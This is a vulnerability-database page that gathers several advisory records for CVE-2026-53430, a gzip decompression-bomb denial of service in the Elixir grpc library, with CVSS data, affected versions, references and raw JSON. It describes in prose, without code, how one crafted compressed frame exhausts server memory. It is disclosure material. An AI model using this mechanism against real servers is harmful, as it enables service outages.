Vulnerability-Lookup

CVE-2026-53430 (GCVE-0-2026-53430)

Vulnerability from cvelistv5 – Published: 2026-06-15 21:55 – Updated: 2026-06-17 04:46

Title

grpc gzip decompression bomb in GRPC.Compressor.Gzip.decompress/1

Summary

Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb. This vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines 'Elixir.GRPC.Compressor.Gzip':decompress/1, 'Elixir.GRPC.Message':from_data/2. 'Elixir.GRPC.Compressor.Gzip':decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill. This issue affects grpc: from 0.4.0 before 1.0.0.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-16 14:42 UTC

CWE

CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)

Assigner

EEF mitre root

References

4 references

URL	Tags
https://github.com/elixir-grpc/grpc/security/advi…	vendor-advisoryrelated
https://cna.erlef.org/cves/CVE-2026-53430.html	related
https://osv.dev/vulnerability/EEF-CVE-2026-53430	related
https://github.com/elixir-grpc/grpc/commit/1afbab…	patch

Impacted products

2 products

Vendor	Product	Version	CPE status
elixir-grpc	grpc	Affected: 0.4.0 , < 1.0.0 (semver) cpe:2.3:a:elixir-grpc:grpc::::::::
elixir-grpc	grpc	Affected: beae6800fc8baf126f3fe7107d86a50e105275ba , < 1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc (git) cpe:2.3:a:elixir-grpc:grpc::::::::

Credits

Peter Ullrich Paulo Valente

Show details on NVD website

JSON

To clipboard

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                "\u0027Elixir.GRPC.Compressor.Gzip\u0027",
                "\u0027Elixir.GRPC.Message\u0027"
              ],
              "packageName": "grpc",
              "packageURL": "pkg:hex/grpc",
              "product": "grpc",
              "programFiles": [
                "lib/grpc/compressor/gzip.ex",
                "lib/grpc/message.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.GRPC.Compressor.Gzip\u0027:decompress/1"
                },
                {
                  "name": "\u0027Elixir.GRPC.Message\u0027:from_data/2"
                }
              ],
              "repo": "https://github.com/elixir-grpc/grpc",
              "vendor": "elixir-grpc",
              "versions": [
                {
                  "lessThan": "1.0.0",
                  "status": "affected",
                  "version": "0.4.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:elixir-grpc:grpc:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.GRPC.Compressor.Gzip\u0027",
                "\u0027Elixir.GRPC.Message\u0027"
              ],
              "packageName": "elixir-grpc/grpc",
              "packageURL": "pkg:github/elixir-grpc/grpc",
              "product": "grpc",
              "programFiles": [
                "lib/grpc/compressor/gzip.ex",
                "lib/grpc/message.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.GRPC.Compressor.Gzip\u0027:decompress/1"
                },
                {
                  "name": "\u0027Elixir.GRPC.Message\u0027:from_data/2"
                }
              ],
              "repo": "https://github.com/elixir-grpc/grpc",
              "vendor": "elixir-grpc",
              "versions": [
                {
                  "lessThan": "1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc",
                  "status": "affected",
                  "version": "beae6800fc8baf126f3fe7107d86a50e105275ba",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:elixir-grpc:grpc:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "1.0.0",
                      "versionStartIncluding": "0.4.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "AND"
                }
              ],
              "operator": "OR"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Paulo Valente"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eImproper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (\u003ctt\u003eGRPC.Compressor.Gzip\u003c/tt\u003e, \u003ctt\u003eGRPC.Message\u003c/tt\u003e modules) allows a denial of service via a gzip decompression bomb.\u003c/p\u003e\u003cp\u003eThis vulnerability is associated with program files \u003ctt\u003elib/grpc/compressor/gzip.ex\u003c/tt\u003e, \u003ctt\u003elib/grpc/message.ex\u003c/tt\u003e and program routines \u003ctt\u003e\u0027Elixir.GRPC.Compressor.Gzip\u0027:decompress/1\u003c/tt\u003e, \u003ctt\u003e\u0027Elixir.GRPC.Message\u0027:from_data/2\u003c/tt\u003e.\u003c/p\u003e\u003cp\u003e\u003ctt\u003e\u0027Elixir.GRPC.Compressor.Gzip\u0027:decompress/1\u003c/tt\u003e calls \u003ctt\u003e:zlib.gunzip/1\u003c/tt\u003e directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip \u003ctt\u003eGRPC.Compressor\u003c/tt\u003e implementation, it is invoked automatically whenever an incoming gRPC frame carries the \u003ctt\u003egrpc-encoding: gzip\u003c/tt\u003e header. \u003ctt\u003e:zlib.gunzip/1\u003c/tt\u003e allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The \u003ctt\u003emax_receive_message_length\u003c/tt\u003e limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node\u0027s heap and trigger an out-of-memory kill.\u003c/p\u003e\u003cp\u003eThis issue affects grpc: from 0.4.0 before 1.0.0.\u003c/p\u003e"
                }
              ],
              "value": "Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb.\n\nThis vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines \u0027Elixir.GRPC.Compressor.Gzip\u0027:decompress/1, \u0027Elixir.GRPC.Message\u0027:from_data/2.\n\n\u0027Elixir.GRPC.Compressor.Gzip\u0027:decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node\u0027s heap and trigger an out-of-memory kill.\n\nThis issue affects grpc: from 0.4.0 before 1.0.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-130",
              "descriptions": [
                {
                  "lang": "en",
                  "value": "CAPEC-130 Excessive Allocation"
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-409",
                  "description": "CWE-409 Improper Handling of Highly Compressed Data (Data Amplification)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-06-15T21:55:33.707Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w"
            },
            {
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-53430.html"
            },
            {
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-53430"
            },
            {
              "tags": [
                "patch"
              ],
              "url": "https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "grpc gzip decompression bomb in GRPC.Compressor.Gzip.decompress/1",
          "x_generator": {
            "engine": "cvelib 1.8.0"
          }
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-53430",
        "datePublished": "2026-06-15T21:55:33.707Z",
        "dateReserved": "2026-06-09T11:01:47.529Z",
        "dateUpdated": "2026-06-16T14:43:11.143Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

BDU:2026-08312 (CVE-2026-53430)

Vulnerability from fstec – Published: 2026-06-17 – Updated: 2026-06-17 – View on bdu.fstec.ru Exploit publicly available Fixed

Title

Уязвимость модулей GRPC.Compressor.Gzip и GRPC.Message библиотеки удаленного вызова процедур gRPC для языка программирования Elixir grpc, позволяющий нарушителю вызвать отказ в обслуживании

Summary

Уязвимость модулей GRPC.Compressor.Gzip и GRPC.Message библиотеки удаленного вызова процедур gRPC для языка программирования Elixir grpc связана с некорректной обработкой сильно сжатых входных данных. Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, вызвать отказ в обслуживании

Severity

7.8 (High) CVSS 2.0


                      
                        AV:N/AC:L/Au:N/C:N/I:N/A:C

7.5 (High) CVSS 3.1


                      
                        CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High) CVSS 4.0


                      
                        CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Class

Architecture vulnerability

Status

Confirmed by the vendor

Exploitation

Resource manipulation

Incidents

Being clarified

Remediation

Software update

CWE

CWE-409 - Неправильная обработка сильно сжатых данных (Усиление данных)

Aliases

CVE-2026-53430

References

3 references

URL
https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w
https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc
https://cna.erlef.org/cves/CVE-2026-53430.json

Impacted products

1 product from 1 vendor

Vendors

Сообщество свободного программного обеспечения

Products

grpc

Versions

от 0.4.0 до 1.0.0 (grpc)

Product types

Application software

Mitigations

Использование рекомендаций производителя: https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc

JSON

To clipboard

{
  "CVSS 2.0": "AV:N/AC:L/Au:N/C:N/I:N/A:C",
  "CVSS 3.0": "AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
  "CVSS 4.0": "AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
  "remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
  "remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
  "\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "\u0421\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
  "\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "\u043e\u0442 0.4.0 \u0434\u043e 1.0.0 (grpc)",
  "\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc",
  "\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "09.06.2026",
  "\u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f": "17.06.2026",
  "\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "17.06.2026",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2026-08312",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "CVE-2026-53430",
  "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
  "\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b",
  "\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "grpc",
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": null,
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u0435\u0439 GRPC.Compressor.Gzip \u0438 GRPC.Message \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440 gRPC \u0434\u043b\u044f \u044f\u0437\u044b\u043a\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Elixir grpc, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438",
  "\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0441\u0438\u043b\u044c\u043d\u043e \u0441\u0436\u0430\u0442\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0423\u0441\u0438\u043b\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445) (CWE-409)",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u0435\u0439 GRPC.Compressor.Gzip \u0438 GRPC.Message \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440 gRPC \u0434\u043b\u044f \u044f\u0437\u044b\u043a\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Elixir grpc \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0441\u0438\u043b\u044c\u043d\u043e \u0441\u0436\u0430\u0442\u044b\u0445 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438",
  "\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
  "\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
  "\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
  "\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u041c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c\u0438",
  "\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w\nhttps://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc\nhttps://cna.erlef.org/cves/CVE-2026-53430.json",
  "\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
  "\u0422\u0438\u043f \u041f\u041e": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
  "\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-409",
  "\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,8)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,5)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 4.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 8,7)"
}

FKIE_CVE-2026-53430

Vulnerability from fkie_nvd - Published: 2026-06-15 23:16 - Updated: 2026-06-17 10:57

Severity

8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://cna.erlef.org/cves/CVE-2026-53430.html
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://osv.dev/vulnerability/EEF-CVE-2026-53430
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "collectionURL": "https://hex.pm",
          "cpes": [
            "cpe:2.3:a:elixir-grpc:grpc:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "\u0027Elixir.GRPC.Compressor.Gzip\u0027",
            "\u0027Elixir.GRPC.Message\u0027"
          ],
          "packageName": "grpc",
          "packageURL": "pkg:hex/grpc",
          "product": "grpc",
          "programFiles": [
            "lib/grpc/compressor/gzip.ex",
            "lib/grpc/message.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.GRPC.Compressor.Gzip\u0027:decompress/1"
            },
            {
              "name": "\u0027Elixir.GRPC.Message\u0027:from_data/2"
            }
          ],
          "repo": "https://github.com/elixir-grpc/grpc",
          "vendor": "elixir-grpc",
          "versions": [
            {
              "lessThan": "1.0.0",
              "status": "affected",
              "version": "0.4.0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://github.com",
          "cpes": [
            "cpe:2.3:a:elixir-grpc:grpc:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "\u0027Elixir.GRPC.Compressor.Gzip\u0027",
            "\u0027Elixir.GRPC.Message\u0027"
          ],
          "packageName": "elixir-grpc/grpc",
          "packageURL": "pkg:github/elixir-grpc/grpc",
          "product": "grpc",
          "programFiles": [
            "lib/grpc/compressor/gzip.ex",
            "lib/grpc/message.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.GRPC.Compressor.Gzip\u0027:decompress/1"
            },
            {
              "name": "\u0027Elixir.GRPC.Message\u0027:from_data/2"
            }
          ],
          "repo": "https://github.com/elixir-grpc/grpc",
          "vendor": "elixir-grpc",
          "versions": [
            {
              "lessThan": "1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc",
              "status": "affected",
              "version": "beae6800fc8baf126f3fe7107d86a50e105275ba",
              "versionType": "git"
            }
          ]
        }
      ],
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb.\n\nThis vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines \u0027Elixir.GRPC.Compressor.Gzip\u0027:decompress/1, \u0027Elixir.GRPC.Message\u0027:from_data/2.\n\n\u0027Elixir.GRPC.Compressor.Gzip\u0027:decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node\u0027s heap and trigger an out-of-memory kill.\n\nThis issue affects grpc: from 0.4.0 before 1.0.0."
    }
  ],
  "id": "CVE-2026-53430",
  "lastModified": "2026-06-17T10:57:54.810",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
